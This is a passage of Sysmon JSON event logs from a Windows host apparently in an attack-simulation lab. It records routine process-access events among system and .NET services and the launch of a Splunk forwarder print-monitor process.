C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.213","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-0010A2A61100}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-0010A2A61100}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-0010A2A61100}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-00104BAA1100}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-00104BAA1100}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-00104BAA1100}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-00104BAA1100}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-00104BAA1100}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-00104BAA1100}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.730\r\nProcessGuid: {90617006-4359-5F2D-0000-00102CAE1100}\r\nProcessId: 3396\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.730","ProcessGuid":"{90617006-4359-5F2D-0000-00102CAE1100}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-0010005D1100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-0010005D1100}","TargetProcessId":"3396","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4352-5F2D-0000-0010005D1100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4352-5F2D-0000-0010005D1100}","TargetProcessId":"3396","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 